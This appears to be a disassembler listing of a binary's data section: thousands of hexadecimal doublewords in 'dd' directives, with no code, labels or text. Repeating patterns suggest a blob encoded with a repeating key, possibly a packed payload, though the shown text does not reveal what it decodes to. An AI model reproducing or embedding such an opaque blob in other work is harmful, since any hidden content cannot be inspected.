		dd 0E52553B3h, 973A0EA8h, 0E31E3212h, 66883220h, 664435FCh
		dd 54846A15h, 377FE170h, 6735B1E9h, 6643DB09h, 6640B61Ah
		dd 8E713215h, 6688321Bh, 0C928B80Ch, 3C601188h,	0A0FEF25Ch
		dd 0CA30292Eh, 394F7948h, 67A7B974h, 616DB17h, 668837FCh
		dd 8CC41D15h, 68CBFC4Dh, 6C113215h, 0B6C44B18h,	0CCF79F1Bh
		dd 534A1327h, 60F8531Bh, 0F8883215h, 92C3C471h,	679860F4h
		dd 67113215h, 0EE8768C2h, 6644321Dh, 6620BF1Ah,	7713215h
		dd 7174B72Eh, 0E34B35E4h, 66223245h, 9794B9E0h,	68FDB0Ch
		dd 66443EFCh, 2ECE7915h, 58324BBFh, 10C33386h, 0DB11537Bh
		dd 6EE32E68h, 11DFD794h, 0A3091294h, 993AD9A0h,	8F7FDD14h
		dd 6611321Ah, 380BAC33h, 0C7775A2Ah, 0DEEB41FCh, 6941F79Fh
		dd 66883592h, 0AFF5215h, 70901C3h, 7E11B72Eh, 0E38735E4h
		dd 66443239h, 6629B91Ah, 60F83215h, 13883215h, 0B10A87B3h
		dd 0E7A7B9EAh, 8F16DB0Ah
		dd 66883213h, 0EF8ECDFFh, 0DF7354DCh, 66113214h, 93D1FD14h
		dd 7E40B72Eh, 0E32D35E4h, 6611325Eh, 66883DFCh,	66716015h
		dd 10486574h, 148F75BAh, 2C657581h, 735DB79Eh, 0E62D35FCh
		dd 6611321Dh, 0BE035475h, 7B68D1Ah, 5BE88A45h, 5B3C5EB2h
		dd 53B9F427h, 7527658Eh, 4129AF10h, 38690743h, 0AAA54505h
		dd 4F4C8B2Ch, 5DDB6AD2h, 97093A90h, 5C0D3D12h, 9E443215h
		dd 4CA3B79Eh, 0E51E35FCh, 6688321Bh, 66443BFCh,	0F9750E15h
		dd 0C7F3F4A1h, 0B10FC71Fh, 57930357h, 6F503EFh,	0B544E594h
		dd 69E87FDBh, 66443290h, 0CCD1B315h, 7033D7Ah, 6A0D0974h
		dd 6943C30Dh, 66226A90h, 6E953D15h, 6883215h, 5C65A2ABh
		dd 643C76Ah, 0ED706846h, 8F956F90h, 6656DB12h, 80443215h
		dd 5AE8F85Ah, 0BF7900CFh, 8C9EB690h, 22184A5Fh,	423DB342h
		dd 9977CDEAh, 77AD524Ah, 70223215h, 0C655F693h,	0B2B8F271h
		dd 67B6F671h, 30E22A1h,	66953D46h, 3E883215h, 76C10974h
		dd 6925C30Dh, 66117390h, 67013D15h, 9F443215h, 6633B79Eh
		dd 0ED1E35FCh, 6688321Dh, 6646BB1Ah, 7423215h, 99EE8C43h
		dd 91A1CDEAh, 664FDB4Bh, 0D8A3215h, 8E96E84Eh, 0BA3228EFh
		dd 0E72252C6h, 0E746CDD3h, 16A3BDC2h, 9983532Ch, 6643B61Ah
		dd 8FDA3215h, 99EEDEC8h, 0D70D09ECh, 6943DB15h,	66221190h
		dd 0E39CCB15h, 6178423Ah, 664422FCh, 8DA4C515h,	0CED9E3CAh
		dd 0FFD80488h, 20CD8368h, 8A8DDBEBh, 9AE9CDEAh,	69CDB72Eh
		dd 0E34B35FCh, 6622324Ch, 66113FFCh, 8275B215h,	6EB94E2Ch
		dd 0A5F510AFh, 0E671812Bh, 6830BFF7h, 72F42A0h,	717E8F96h
		dd 691035E4h, 66880290h, 0E3C9C715h, 667B3972h,	661123FCh
		dd 58757015h, 174AFED0h, 0C0093E06h, 1C73B86h, 30619115h
		dd 6BBCDF9h, 0F2258C73h, 39F7B347h, 3CBB2CFCh, 0AC10974h
		dd 6925C302h, 66111891h, 0E3B3CB15h, 61B52565h,	6616B71Ah
		dd 0ED1E3215h, 66883202h, 664420FCh, 0F139C715h, 6A3CA988h
		dd 719E4DA8h, 4F2317B4h, 8F5FA4D2h, 99EEDE18h, 6684B71Ah
		dd 0EB4B3215h, 66223213h, 6611B11Ah, 0D1E03215h, 0EF443271h
		dd 0DC9A1611h, 53361178h, 754C3651h, 7ED23010h,	3EE4BBDEh
		dd 67EFB1E9h, 6624B71Ah, 6BAD3215h, 0AE223215h,	10A46CCCh
		dd 850294B5h, 65D29799h, 6A709EDh, 6916C302h, 66882D90h
		dd 0E3C9CA15h, 667AB5D1h, 8DBADBECh, 6E8CDEAh, 6644B61Ah
		dd 7423215h, 83DEB374h,	7D226B9h, 7120B72Eh, 0E32D35E4h
		dd 6611325Dh, 669DB21Ah, 8F243215h, 6622321Bh, 9382203Dh
		dd 0B3021A64h, 6C6FB263h, 69439EB2h, 66113A98h,	64093D15h
		dd 6443215h, 5CA7BF74h,	69116A9Dh, 66883E9Dh, 60C53D15h
		dd 69223215h, 66113293h, 2061C715h, 9ABBCDFEh, 714AB72Eh
		dd 0E31E35E4h, 6688321Bh, 19C1BFE0h, 9A226A9Dh,	99FA1EFCh
		dd 34D8CAEAh, 0A9648EAFh, 42761B01h, 63496811h,	724712A9h
		dd 664FB91Ah, 60CB3215h, 3F113215h, 72A1B0EEh, 66465AAFh
		dd 52A93215h, 62D5B131h, 6689B21Ah, 6DBD3215h, 7DA73DE3h
		dd 9F113215h, 9962FCFCh, 6654DBEAh, 3CEF3215h, 311C621Fh
		dd 7C470A73h, 0D575B4E8h, 314AFC1Bh, 0EF11326Dh, 9FD61611h
		dd 4C55879Ch, 4235FCh, 6911DAAAh, 9AE9E5A2h, 5355879Ch
		dd 4235FCh, 6A02DA94h, 318BFB94h, 62501F0h, 6625DB42h
		dd 0BF323215h, 2C242C22h, 6FF66C9Fh, 8F1CB274h,	6703B71Ah
		dd 8FE83215h, 66443218h, 0CDDA6D8Fh, 614FE9A5h,	7984B56Bh
		dd 3425CE97h, 662233AFh, 9CD3B315h, 67E5ED03h, 9CAEB3E7h
		dd 0ED4FED03h, 37E4682Fh, 0B1A7D3ACh, 36B5B37Eh, 0E7215402h
		dd 0E92255FCh, 3F471B11h, 0A1C5C514h, 200375Fh,	6602DB75h
		dd 81B53215h, 0E2486CABh, 878F1656h, 11BBB491h,	286B5E0Bh
		dd 664EDB00h, 4E533215h, 0E667E79Fh, 0CA2F383Eh, 62C56474h
		dd 266C531h, 420DB91Bh,	0E78CF696h, 200C5FEh, 67AC3D1Bh
		dd 9E113215h, 668835FCh, 0BA185515h, 0CEDCA278h, 76055A40h
		dd 91D560F9h, 60A1F3C0h, 8BA3E7E2h, 0DD12F72Ah,	69D5D914h
		dd 6644339Ah, 0DB19CB15h, 61F81804h, 66B4B01Ah,	0D3243215h
		dd 6624DAB4h, 0A4773215h, 0AA7FF318h, 664437FDh, 5C5DC315h
		dd 384A3804h, 69730974h, 66441993h, 6636DB15h, 0E5CB3215h
		dd 0F231EF2Fh, 6416EB11h, 0A080E899h, 0F02EDEA5h, 0A61A430h
		dd 6BBCDFCh, 698CEF95h,	66113098h, 746B915h, 40598F9Eh
		dd 4235FCh, 2747ADh, 0A1E9F59Eh, 8F5F8F90h, 66223212h
		dd 0D9775215h, 0E7EE80CDh, 7B48FC7h, 662EDB75h,	0C273215h
		dd 7A9A217Ah, 10DC6364h, 76CB6C98h, 0DE113215h,	19FF7359h
		dd 4A0C1C75h, 0E8AF9468h, 0EFEE8BE3h, 8FBD23A0h, 67CD3D12h
		dd 93223215h, 0F895AF98h, 8FE835E4h, 66443212h,	8DB3692Dh
		dd 0DEB537B5h, 5BEEFF9Bh, 8F97CD74h, 66223206h,	0E574D0B7h
		dd 8188F3Ah, 0C4FFA2C5h, 0A76E0A88h, 6D434F15h,	420C3DD5h
		dd 6443215h, 9DA9FC9Eh,	6668DB74h, 72613215h, 7D443215h
		dd 0B8EC534h, 134AFE75h, 3247D6Dh, 0D2E642F8h, 0EB67DB6Eh
		dd 88D48E88h, 0E587C712h, 66443214h, 69F1CDE9h,	99EE4C96h
		dd 0D303CAEAh, 61AD0704h, 0DB97BBEDh, 8F16DB0Eh, 6688321Eh
		dd 0CA9E6C71h, 5F1598D3h, 0EBA55748h, 895CD088h, 0B5BBC712h
		dd 662226FCh, 67DED715h, 2853327Ah, 543D8908h, 0AE32E2FBh
		dd 0A9A89434h, 668DDB80h, 3DD13215h, 0EDCA90C9h, 8F3B2390h
		dd 6687DB12h, 78003215h, 786FEC96h, 1F29123Fh, 3DC6C314h
		dd 77C1BBCAh, 6925DB20h, 6611339Bh, 69E9C715h, 66443595h
		dd 7425215h, 7D8851Ah, 69600C95h, 6644D490h, 0DBA1CB15h
		dd 61F8216Ch, 0BE0C3D15h, 8F443215h, 66223205h,	19E8AD67h
		dd 0E017967h, 99EFC7F8h, 0FEE081D0h, 6670257Dh,	4294BB15h
		dd 9ECCDBA2h, 0EC2D524Eh, 66113217h, 0EC875375h, 66443218h
		dd 66223AFCh, 87CB5715h, 96A41FAEh, 69EE53E8h, 66222995h
		dd 0E61E5215h, 66883215h, 66443FFDh, 82F0D715h,	0D7549DB1h
		dd 26EFA474h, 71E6C1Eh,	661E877Dh, 4225BB15h, 0EF87524Dh
		dd 66443216h, 7F5851Ah,	6617B21Ah, 0EDE83215h, 72552EEh
		dd 108F8B44h, 0AE1012BEh, 4B701B4Ch, 46EF44B8h,	66223EFCh
		dd 896E3E15h, 0E2788F5Ah, 0FCB7DC72h, 629B639Dh, 4B113215h
		dd 59144C2Dh, 5E41FA3Ch, 3F1DAE6Bh, 66113DFCh, 3E899C15h
		dd 0E99B1BBAh, 7A39EED7h, 6B553D3Dh, 0F361C7BEh, 69443217h
		dd 66223396h, 0EBE4CE15h, 970CBC88h, 6AC83D12h,	8F223215h
		dd 66113212h, 0F0B321F3h, 998BE65Ch, 662ADBC6h,	6C403215h
		dd 3B01B410h, 0FBC9F860h, 61D3AB18h, 9FC2CDEDh,	0E387F21Eh
		dd 66443230h, 662223FCh, 5CA96B15h, 0A7FB5391h,	2691F608h
		dd 517C79BCh, 43F8D618h, 8F883215h, 66443210h, 649FB3FEh
		dd 7794B168h, 638FDB20h, 66443BFCh, 7CF03915h, 366C537h
		dd 0FF618913h, 9FBBCDEBh, 0FD1FAF98h, 63F835E4h, 50883215h
		dd 35DBBE48h, 76CBE1EAh, 64113215h, 83A4A21Eh, 4D87C00Bh
		dd 75316C9Ah, 6219463h,	668838FCh, 0D6BF8515h, 251D0D9Eh
		dd 8F189424h, 66883201h, 49F8A9D3h, 0A2D878E9h,	9999CDADh
		dd 599A4ECDh, 491E1229h, 69E23974h, 66111E90h, 6684DB15h
		dd 0AD2C3215h, 2ED8F4E9h, 0B6A128EDh, 3D61E6B7h, 8F443215h
		dd 66223204h, 44162021h
		dd 0D1FB9D37h, 6FAEA1CCh, 88749DCAh, 62FDB3F9h,	0EF883215h
		dd 62F91639h, 67223215h, 6DF86FFFh, 0BB883215h,	9D700198h
		dd 6551890Ah, 0FF812F9h, 6883214h, 0A471D194h, 74CB13E6h
		dd 0B113215h, 0AE38962h, 8D01BB8Bh, 7DA49541h, 0C974741Bh
		dd 0FB0553E9h, 61AAF7A9h, 63A93D75h, 113215h, 8A8EC094h
		dd 664422FDh, 1524DF15h, 0FBFD1CE9h, 8FF70407h,	77B85E24h
		dd 3E7B63C1h, 69C2CD74h, 66880596h, 6BC23D15h, 8F223215h
		dd 6611321Dh, 0E5BD55A4h, 0E4DE9FEAh, 5333879Eh, 0EB1E35FCh
		dd 66883219h, 664435FCh, 0D058C715h, 39093033h,	66A715FCh
		dd 67C73D15h, 9F223215h, 5300BF9Eh, 766135FCh, 0C2443215h
		dd 1C4174F1h, 63F40F01h, 61DACEC2h, 0EF35AAF7h,	8F1723A0h
		dd 6BF95212h, 0EF883215h, 0E48A4B0Ah, 0E0FD98EBh, 952B6316h
		dd 3D61FE95h, 84A2B373h, 0DB775393h, 4C014856h,	0E7C5EFE2h
		dd 546044D0h, 0A3A37F73h, 1B930484h, 143ADF94h,	8F457C1Ah
		dd 0E7D31B48h, 0F27F22FCh, 6682DB7Eh, 0E27C3215h, 70FD88FAh
		dd 99E310A2h, 6689DB94h, 0B7B33215h, 6628B91Ah,	0E7713215h
		dd 14968DCDh, 7255225h,	2DB4F494h, 88905B26h, 1E2947D3h
		dd 0A0C5FC3Ch, 1E8347D3h, 2D87DC94h, 8FE85B26h,	66443206h
		dd 41E83753h, 0B142892Ah, 35A9AD3Fh, 0E5FE7900h, 7E0D24Fh
		dd 9E7196E6h, 3D5AF594h, 8F252186h, 99DDCE81h, 661139FCh
		dd 7F3F0115h, 86E4D2DDh, 13F8A3DDh, 0B0D0AF98h,	997435FAh
		dd 0EF11CAC6h, 0EDCABBE8h, 0A2921639h, 0E3A3CA11h, 61AD1408h
		dd 6636B41Ah, 0EB1E3215h, 6688321Bh, 66443BFCh,	9BC75715h
		dd 0AB085022h, 0E3010445h, 61AD206Ch, 662ABA1Ah, 0EB1E3215h
		dd 66883217h, 0E3CF5375h, 61CB1408h, 0B1AE3D75h, 7F78B373h
		dd 0EB85344h, 66220DC0h, 8F350E9Ch, 66883213h, 0E50E252Ch
		dd 944A213Fh, 0EF113208h, 77611611h, 2C443215h,	0F0460C2Fh
		dd 2435B0B9h, 65B7CD90h, 5F79B2CDh, 0BEFABF98h,	0E51E35FAh
		dd 6688321Dh, 6646B41Ah, 7423215h, 0DF71E3EAh, 6CE50440h
		dd 0D3FEB94h, 6943400Bh, 6611389Fh, 668DDB15h, 0F773215h
		dd 0ED198886h, 8F181B90h, 0C305212h, 6570DD0h, 0E7445375h
		dd 70CEFFEh, 326B5A74h,	62CD3215h, 6FCA5231h, 0C4113215h
		dd 0B0326615h, 0ADC7D307h, 0E436BE0h, 66113724h, 69AC0E9Ch
		dd 66443396h, 0E3A9CA15h, 61F81408h, 668838FCh,	0A153BE15h
		dd 55E30331h, 364F78DDh, 628DD29Ch, 0E5443215h,	62A536FDh
		dd 62986E31h, 0D9875231h, 6655DBDDh, 0CFD03215h, 65F27DE0h
		dd 4FD34209h, 9DB6D4A6h, 71BF778h, 0BFF5BF98h, 0E48735FAh
		dd 66443210h, 9F9D3D75h, 75F95274h, 13883215h, 0BF7CB2F8h
		dd 37948D7Bh, 40187182h, 81C881B6h, 3E14B51Eh, 9CA9544Eh
		dd 69C0CD74h, 66883599h, 67CB3D15h, 9E223215h, 4205B945h
		dd 8F8CF696h, 66443219h, 2FAD1E27h, 6BCA27F6h, 29A331D5h
		dd 0EF83BB42h, 421EB9ECh, 6615F694h, 4D743215h,	8F4D1B98h
		dd 6633DB12h, 0E1DD3215h, 7B60126Fh, 4C30D930h,	755A1B0Bh
		dd 0E560AF50h, 8F80CBA8h, 0E24B3212h, 662232BDh, 661138FCh
		dd 8D438715h, 6D9BB777h, 0ED3EEA8Ah, 8F32FF90h,	6687DB12h
		dd 3F493215h, 0AB9D39AAh, 85DDD33h, 0E418B301h,	9FC11935h
		dd 8F25DB1Dh, 66113207h, 0D2D684F7h, 57FDD2A2h,	564622C9h
		dd 0EEAD149Dh, 0A7B3F527h, 661EB41Ah, 6DE3215h,	0BCD695h
		dd 2A60D094h, 47C1B974h, 9F25DB15h, 6EE8B716h, 69E835FCh
		dd 66442096h, 662EDA15h, 5423215h, 0C6C2AE4h, 367ABC50h
		dd 697C29C4h, 6611309Ah, 7E95215h, 6965B79Ch, 4235FCh
		dd 7AC1F594h, 74BB973h,	67D0DBEDh, 63CB3215h, 0C9113215h
		dd 9C829674h, 0E7A2BB43h, 662236D3h, 62FFB115h,	3AAC0692h
		dd 8F603E9Ch, 66223212h, 703836F1h, 8F61411Ch, 66443219h
		dd 0E1F673BEh, 0DED1AE27h, 0DC2B6D5Eh, 52C56346h, 9E6BF731h
		dd 95906933h, 40707BD0h, 61FEA9Ch, 697EFD95h, 66113699h
		dd 1335415h, 0D91353DAh, 66223214h, 9F4ECA3Ch, 51978946h
		dd 8DC57FC4h, 3A2B38B8h, 0A590D9C4h, 66883214h,	0D58FB35Eh
		dd 0E7031439h, 803F8EFEh, 3D503B6Ch, 0DC225275h, 6943574Ch
		dd 0F070F9AAh, 3EDE6253h, 0E3CDC74Bh, 61CB11D8h, 79433E0h
		dd 938FDB10h, 6EBDB7D2h, 662235FCh, 76F83215h, 7E883215h
		dd 6B40BA7Bh, 0B58C1ED6h, 8958417Ch, 0CE273FCh,	662CC755h
		dd 8F223205h, 66113218h, 0C4A30A97h, 324CC5F8h,	0DFD27A77h
		dd 62165A34h, 6A013215h, 662ECA31h, 662EB21Ah, 0E91E3215h
		dd 66883213h, 6644BD1Ah, 0F3DD3215h, 61F81968h,	0E4375475h
		dd 76687BBh, 662235FCh,	0A4139215h, 713AD004h, 46E5A7EAh
		dd 0E42D35FCh, 66113219h, 95375475h, 66C83D22h,	7223215h
		dd 6630B79Ch, 0E28735FCh, 66443214h, 47A7BBECh,	8F16DB1Ah
		dd 66883201h, 7890202Eh, 439E2BC6h, 5A9B7B41h, 860C69C8h
		dd 1EAFBB59h, 869B5475h, 0A1F1B3D0h, 7D43EE6h, 31603E9Eh
		dd 0A1A3D59Ch, 66113211h, 668CF594h, 5AC33215h,	69CB6E31h
		dd 29113215h, 9EB3DFEBh, 9346282h, 417BD72Ch, 0D3EECE91h
		dd 61613D34h, 3915CE75h, 4F97CD74h, 6916DB1Ch, 66883E9Fh
		dd 6643DB15h, 0AEBF3215h, 55F5CD91h, 810165E8h,	6640F594h
		dd 89A13215h, 422DB511h, 42B4BB49h, 90FB3D75h, 6627B21Ah
		dd 0FDAB3215h, 7B8AFF6h, 405987EAh, 0EBDB35FCh,	89E5FE90h
		dd 7D5212h, 7177D094h, 69F2CD74h, 6611339Eh, 0EB89CA15h
		dd 61AD3AECh, 479FB9E9h, 616DB1Ah, 7CFEA95h, 6F6D879Eh
		dd 8F4235FCh, 66113201h, 1829FC43h, 1622AD6Ch, 4BB280B0h
		dd 0F8855976h, 0C711AE34h, 95254EA0h, 6628DBB1h, 98463215h
		dd 0C34F7C30h, 507D7C6Ah, 44D7879Eh, 61F835FCh,	0CD883215h
		dd 3DE954A7h, 61CBA7E1h, 2E113215h, 4309F185h, 8FE97D12h
		dd 66223218h, 7F85EEC0h, 0FDB0606Ah, 0B01EB3EBh, 899A6267h
		dd 0A746BB70h, 5B8D3AFDh, 5345AF22h, 67D6F2B7h,	0EDED749Ch
		dd 0A2091611h, 66443211h, 662238FCh, 0F9510915h, 9FCF82F2h
		dd 0A7126982h, 76CB37D5h, 8B113215h, 924A85A3h,	3381E3E7h
		dd 1ECEA9C3h, 35308069h, 899AA0AEh, 60AFF35Ch, 8DA3E1E2h
		dd 0A9EACA00h, 8FD3EA14h, 66443210h, 72872872h,	0E312CEC3h
		dd 61612018h, 664434FCh, 11084D15h, 9F02108Bh, 69A9BF9Eh
		dd 69BC35FCh, 66223A90h, 64963D15h, 6883215h, 0ACCD6074h
		dd 72A9229Ch, 62D5B131h, 6684B71Ah, 0EE4B3215h,	66223213h
		dd 6611B91Ah, 6253215h,	8F25C7E9h, 66223219h, 8511956Bh
		dd 63CB0117h, 1A3D6FF0h, 602D8946h, 0BDE66406h,	918BD1D4h
		dd 0DB1171C6h, 0D6BA026Dh, 0EF4CD93Ch, 69D3CE4Bh, 66443392h
		dd 0EFDBCB15h, 8F33C7A0h, 6C615212h, 6443215h, 984C2421h
		dd 2623CEBh, 9E0B5360h,	0B7C13DEAh, 6223215h, 0ABD2B373h
		dd 580953BFh, 0BB99EFC8h, 669CB71Ah, 61F83215h,	0CA883215h
		dd 34C3867Bh, 72CBBF85h, 70113215h, 0A3ABDC82h,	3FE34F4Ah
		dd 818BF664h, 841907FFh, 35D03F16h, 2D3D8847h, 0E7682A5Eh
		dd 8151A2D7h, 6E6AF354h, 1CB6B357h, 0EF79A72Eh,	60D668C6h
		dd 0F91016Eh, 8F1F2C3Ch, 66223210h, 59F31EA2h, 730F3DD9h
		dd 8F443215h, 66223205h, 994E05C5h, 69A2D57Ch, 9A2D6023h
		dd 8F1EE469h, 6605AC7Dh
		dd 42B4BB15h, 664436AAh, 39DC3315h, 6602DB75h, 0F1363215h
		dd 0A35F21D3h, 0F42C9D12h, 0D814806Dh, 0B7DC7FF9h, 0D3CD53C2h
		dd 61CB10E0h, 0EFB975h,	8FE9C09Eh, 99BBE60Fh, 6625B71Ah
		dd 0E51E3215h, 66883214h, 67CE3DEDh, 93223215h,	612F2D4h
		dd 0DF29D095h, 2F9EFFCBh, 6BA73174h, 616DB07h, 668839FDh
		dd 0F2EF5E15h, 0C25E384Bh, 1A8219D2h, 9FD6F99Eh, 0DBC7CB74h
		dd 61CB2A84h, 0AE953D14h, 6883216h, 664421FCh, 81FF4215h
		dd 7106EE0Bh, 31AF00BDh, 0A19BC3B5h, 5BE8E9A9h,	661AB71Ah
		dd 60613215h, 79443215h, 0D78E09A4h, 589053BFh,	0CC2298BFh
		dd 66FEB71Ah, 77CB3215h, 28113215h, 1A2D804Dh, 0F4416C3Ch
		dd 885C0E68h, 29F52911h, 668C5A46h, 671F3215h, 61CB69CBh
		dd 0A4113215h, 28BC2A34h, 0DD1784F5h, 99DDCDE9h, 0DC43C114h
		dd 46090DA2h, 59F331D2h, 750B1294h, 69F8694Fh, 0A9883215h
		dd 0B51AFD89h, 0D38A74Ch, 844B4778h, 57717478h,	578303EDh
		dd 96A952EDh, 0A04E8A73h, 0D3D9CA74h, 0FDA9B23Ch, 0B8DF95h
		dd 66E48245h, 0EED054D0h, 6B16BFDh, 6624B91Ah, 85903215h
		dd 4C79B3A2h, 8F25CEA7h, 6622327Bh, 0BCA85475h,	0CE7AB222h
		dd 7FC63D74h, 69223215h, 66112190h, 6686DB15h, 68343215h
		dd 15330718h, 45C0BAE4h, 1085BBC3h, 62CF6545h, 62E6B331h
		dd 39113215h, 668822FCh, 0EF1CB915h, 9366055Ah,	4C062B69h
		dd 1C2F7A4Ah, 0D8F16355h, 0E620D7D5h, 0ABEF51D8h, 0EE9ADF95h
		dd 4248B9FDh, 6626F694h, 61F83215h, 0DB883215h,	497D7BD0h
		dd 0EF72D286h, 661537F5h, 8E0B3215h, 4240B511h,	4226BB49h
		dd 67ACB1ECh, 678FDB09h, 6701B61Ah, 60CB3215h, 14113215h
		dd 364189D8h, 22C6027h,	3C23B158h, 6D4DD894h, 8C49418Bh
		dd 8686B311h, 34D513B9h, 63351E94h, 3EB83F49h, 6B183710h
		dd 0E5DE6825h, 97064AA8h, 0E2873212h, 6644322Bh, 0C7D0B275h
		dd 458CBF74h, 68FC21Eh,	0ADF33D75h, 662235FCh, 33125815h
		dd 0D9E11571h, 65CB3D74h, 0E6223215h, 697055C8h, 6688339Dh
		dd 0B5BBC715h, 66223BFCh, 3ACC5D15h, 0CABF1547h, 59C44BB8h
		dd 52A63D85h, 8F113215h, 66883212h, 104C6B49h, 363CE3A8h
		dd 66148847h, 0B6013215h, 3E83334Fh, 6623B61Ah,	8FE43215h
		dd 668833D2h, 664438FCh, 0B17B0715h, 0E6811D35h, 0E5C01E50h
		dd 0E44B62EDh, 66223296h, 661137FCh, 0B8BE4115h, 0E22A65Fh
		dd 0EF445C6Dh, 0F6A31601h, 3CEEE29Dh, 918FB375h, 74DA178h
		dd 660BB71Ah, 8EE83215h, 66443219h, 0C4FFBF1Ah,	8DEA0Ah
		dd 8281F3F2h, 66CF3D4Bh, 7223215h, 661ADBBFh, 28373215h
		dd 7DE37D6Ch, 4372E06Ch, 4225CDB5h, 624CB14Dh, 20848875h
		dd 0ED442642h, 69BB53EEh, 66883399h, 60ADC715h,	67223215h
		dd 66BCAF5Ch, 6637DBBCh, 0D8243215h, 609D5DC5h,	0ED704DA4h
		dd 0EFD81611h, 664037F5h, 0A6A13215h, 4215B511h, 6685DB49h
		dd 890F3215h, 0CAD5130Eh, 3DDD5278h, 0CCC74A60h, 6656DB75h
		dd 4F9E3215h, 7ED18E8Bh, 7E0BF298h, 73EB86A3h, 206983DAh
		dd 7D2B973h, 8F774D95h,	662FB71Ah, 68CB3215h, 0E9113215h
		dd 0A3B1BD89h, 0E9DA4818h, 0C36E0E9Eh, 1EACB143h, 668FC302h
		dd 6667B61Ah, 72CB3215h, 0AD113215h, 0D3E9DC90h, 8B0B2D3Ah
		dd 11DAA997h, 3EF48CC9h, 0EB364986h, 964DF688h,	0B5DDCE12h
		dd 0EE4060E0h, 3F42BAD4h, 3C40659Dh, 6635B31Ah,	74F83215h
		dd 0C9883215h, 0E71E3811h, 0E7A7B68Bh, 52058182h, 8EF36FFh
		dd 47C1B928h, 9F25DB1Ah, 0DA5A1938h, 75A7375Ah,	9E6D5BDAh
		dd 0A9311D38h, 2D3A377Ch, 0ED877DA9h, 66443206h, 66223CFCh
		dd 92E55E15h, 0FBE06BE9h, 98CCCA63h, 6E22345h, 4BDAF194h
		dd 7714096h, 0D678D42h,	9165069Bh, 65E6B3CAh, 0E7B48162h
		dd 0F63308E2h, 87D5B319h, 4FEA6081h, 6F616DEDh,	0E6443215h
		dd 0AF8A864Ch, 1E0E3042h, 0EDEE52BEh, 0BEC554EFh, 0CB431F11h
		dd 709C3D75h, 8F883215h, 66443204h, 6D2EC11Dh, 0E6D8B93Fh
		dd 78404591h, 3A35F36Ah, 0A1A954B3h, 66AB6074h,	33883215h
		dd 8CDE79Ch, 6786FE9h, 0ED77C79Fh, 0B26153D2h, 8FBBCDEFh
		dd 6622321Ah, 5FB1FD8Bh, 760D9F55h, 299E2142h, 0EFE62D6Bh
		dd 8F33C7A0h, 760C3D12h, 8F443215h, 6622321Eh, 1C1FF544h
		dd 3E83F804h, 35E54F1Ch, 0A5A3D19Ch, 66113211h,	0E18CD996h
		dd 0EF181609h, 68CB1601h, 63113215h, 899A486h, 8B846552h
		dd 0B850AA08h, 0E31E523Bh, 6688320Ch, 664426FCh, 82451815h
		dd 0F431B60Eh, 0A845659Fh, 0CB19C39Bh, 0FC60D1D5h, 0F268874h
		dd 0EE9495Bh, 6644B215h, 0E32D5275h, 66113215h,	69E95375h
		dd 66443094h, 7796115h,	6614DB75h, 51853215h, 8F3AC167h
		dd 6622321Dh, 6D09ACF8h, 227A6B83h, 69445874h, 6622239Fh
		dd 661DDB15h, 0EF563215h, 4CABC690h, 0BCD2E152h, 0D3EEE51Bh
		dd 61612138h, 664DDB75h, 0EE943215h, 0ABA15FE9h, 30AF3D94h
		dd 8C4B8B73h, 0F3DD534Bh, 61F83350h, 429CB9EDh,	0E7A1BB40h
		dd 662236D0h, 62D4B315h, 0E1883215h, 69181639h,	66223B97h
		dd 0E01E5215h, 66883215h, 0EBCF53EDh, 61CB38FCh, 2110F5EDh
		dd 91A44447h, 9955C50Ch, 9923CD14h, 2F20B314h, 6A44447h
		dd 664438FDh, 49C72D15h, 0C81EA09Ah, 0ECC92FF9h, 0E72268F4h
		dd 7B569C6h, 66158946h,	0A7093215h, 357F044Dh, 8FA3EB14h
		dd 352A044Dh, 6682DB4Eh, 0A57D3215h, 8A32C6ADh,	6664C18Ah
		dd 668834FCh, 7B985E15h, 0EFA5F264h, 8F1BDB98h,	668DDB12h
		dd 0FF213215h, 8F68C8ADh, 99EEF447h, 4B9ADBEDh,	0E7243215h
		dd 1F0D47D2h, 661EDA49h, 73913215h, 0AEC2F09Ch,	41953352h
		dd 10EF8457h, 3ED3648Eh, 69245274h, 66222A9Ch, 6602DB15h
		dd 48AD3215h, 85CB96Eh,	0A52F369Dh, 0FC29C39h, 8F677B66h
		dd 0A0CF5454h, 8FAFB974h, 8F16DB1Fh, 66883201h,	80802AC4h
		dd 8DA20458h, 325617D4h, 84271936h, 3A635365h, 66228847h
		dd 0AC103215h, 520900EAh, 0F949D431h, 97A36B20h, 538E3FF3h
		dd 669ADB4Fh, 0AAEE3215h, 0AFC6FF70h, 87D03DDEh, 0D0CD1085h
		dd 463680CAh, 12AFBBEDh, 6916C302h, 66883D96h, 664EDB15h
		dd 443E3215h, 55F2CD8Ch, 93FE0227h, 320A0A94h, 0E32D7E51h
		dd 661132ADh, 669FB11Ah, 8F243215h, 66223205h, 0EF5B976Dh
		dd 782A75Ch, 0E4B6652Ch, 64F946AFh, 1E905474h, 69A67E11h
		dd 6644BD90h, 32955215h, 66113CFCh, 0DEE22B15h,	40AB92A0h
		dd 46C57DACh, 70BCECAh,	42A4B345h, 21507B8Ah, 0E506069Eh
		dd 0A09036D1h, 219C7B8Ah, 6648DB75h, 0B3C83215h, 0CCAF29C3h
		dd 5180620Ah, 0EC12C312h, 36436CE8h, 661134ADh,	5A4EB315h
		dd 674E0236h, 5ACCB3D3h, 3E1B0236h, 0B80952E0h,	3806D6D0h
		dd 662223FCh, 97266015h, 9E961931h, 7A282F5h, 4C1D2228h
		dd 0ED70B4A2h, 8F914790h, 0C8ADCB12h, 69223210h, 6611359Ah
		dd 67053D15h, 9E443215h, 0A4AB6044h, 0EF4BE39Ch, 69E86BDBh
		dd 0FF2F0AAh, 72A96274h, 62D5B131h, 8F4103ECh, 6644321Bh
		dd 5F433880h, 0DC93C042h, 1D8AE961h, 0CAB1773Ah, 66223DFCh
		dd 0DB05C815h, 7DD741A2h, 0C1BE4DA4h, 6C2DFCC9h, 63F86075h
		dd 6A883215h, 0AA66B323h, 661E534Ah, 676FB61Ah,	0E8873215h
		dd 66443211h, 7F48175h,	0E21E1F29h, 9977CDD6h, 4878CAECh
		dd 66F9B61Ah, 0E21E3215h
		dd 66883203h, 664423FCh, 975EBF15h, 490EFD76h, 53C15B4Ch
		dd 408D7B20h, 561EFAF6h, 63F1B01Ah, 63613215h, 0CE443215h
		dd 8EF4A2A0h, 0E01E0B29h, 9977CD96h, 6645BE1Ah,	5ADB3215h
		dd 0D9933D54h, 6883210h, 0A28EAAAh, 0A8A95456h,	694B0E74h
		dd 99775093h, 7FC53DEAh, 8F223215h, 66113201h, 80368DB3h
		dd 846C2B42h, 0B11E96F6h, 0E71C30B8h, 32E98D5Ah, 64C03D75h
